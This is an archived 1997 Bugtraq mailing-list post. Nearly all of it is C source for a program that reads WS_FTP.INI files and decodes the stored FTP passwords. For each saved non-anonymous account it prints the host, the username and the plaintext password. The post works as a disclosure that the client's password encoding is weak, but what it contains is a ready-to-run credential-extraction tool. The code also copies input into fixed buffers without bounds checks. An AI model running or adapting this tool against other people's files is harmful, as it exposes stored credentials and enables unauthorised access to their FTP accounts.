Bugtraq mailing list archives

Program To decrypt password in ws_ftp.ini


From: jebe () STUDENTS ITB AC ID (JeBe)
Date: Mon, 11 Aug 1997 06:02:13 +0700


/*      This Program is freely distributed as long you not removed
        this comment.
        It's used to decrypt password on ini file, specially on ws_ftp.ini

        Written by
                JeBe Budianto, Electricall Engineering ITB
                E-Mail: jebe () students itb ac id
                        jebe () EE ITB ac id
        Tested on FreeBSD 2.1.5
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char    password[100];

void extract(void)
{
        int h,i,j,k,l;
        char m[2],n[2];
        char ch;

        i=4;h=0;
        m[1]=0;
        n[1]=0;

        if(password[i]=='V') i=5;
        while((password[i] != '\r'))
        {
                if(password[i]=='\n')
                {       printf("\n");
                        exit(0);
                }

                m[0]=password[i];i++;
                n[0]=password[i];i++;

                if(isdigit(m[0]))
                {       k=atoi(m);
                }
                else
                {       ch=tolower(m[0]);
                        switch(ch)
                        {       case 'a' : k=10;break;
                                case 'b' : k=11;break;
                                case 'c' : k=12;break;
                                case 'd' : k=13;break;
                                case 'e' : k=14;break;
                                case 'f' : k=15;
                        }
                }

                if(isdigit(n[0]))
                {       l=atoi(n);
                }
                else
                {       ch=tolower(n[0]);
                        switch(ch)
                        {       case 'a' : l=10;break;
                                case 'b' : l=11;break;
                                case 'c' : l=12;break;
                                case 'd' : l=13;break;
                                case 'e' : l=14;break;
                                case 'f' : l=15;
                        }
                }
                k=(k*16)+l-h;
                h++;
                printf("%c",k);
        }
        printf("\n");
}


void main(int argc,char **argv)
{       FILE    *fp;
        char    *sp;
        int     counter,complete;
        char    buff01[100],host[100],nama[100],namafile[100];

        printf("==============================================\n");
        printf("|  Syntax:     ProgramName IniFileName       |\n");
        printf("|  Written by  jebe () students itb ac id       |\n");
        printf("==============================================\n");

        if(argc==1)
        {       printf("Use default ini file WS_FTP.INI\n");
                strcpy(namafile,"WS_FTP.INI");
        }
        else
        {       strcpy(namafile,argv[1]);
        }

        fp=fopen(namafile,"r");
        if(fp==NULL)
        {       printf("There's no ini file\n");
                exit(0);
        }

        sp=fgets(buff01,sizeof(buff01),fp);
        counter=1;

        while(sp != NULL)
        {
                if((buff01[0]=='H' && buff01[1]=='O' && buff01[2]=='S' && buff01[3]=='T'))
                {       strcpy(host,buff01);
                        complete=1;
                }

                if((buff01[0]=='U' && buff01[1]=='I' && buff01[2]=='D'))
                {       strcpy(nama,buff01);
                        complete++;
                }

                if((buff01[0]=='P' && buff01[1]=='W' && buff01[2]=='D'))
                {       strcpy(password,buff01);
                        complete++;
                }

                if(complete==3)
                {       if(( nama[4]=='f' && nama[5]=='t' && nama[6]=='p') ||  (nama[4]=='a' && nama[5]=='n' && 
nama[6]=='o' && nama[7]=='n' && nama[8]=='y' && nama[9]=='m' && nama[10]=='o' && nama[11]=='u' && nama[12]=='s'))
                        {}
                        else
                        {       printf("%s",host);
                                printf("%s",nama);
                                printf("Password = ");
                                extract();
                        }
                }
                sp=fgets(buff01,sizeof(buff01),fp);
        }
        fclose(fp);
}



Current thread: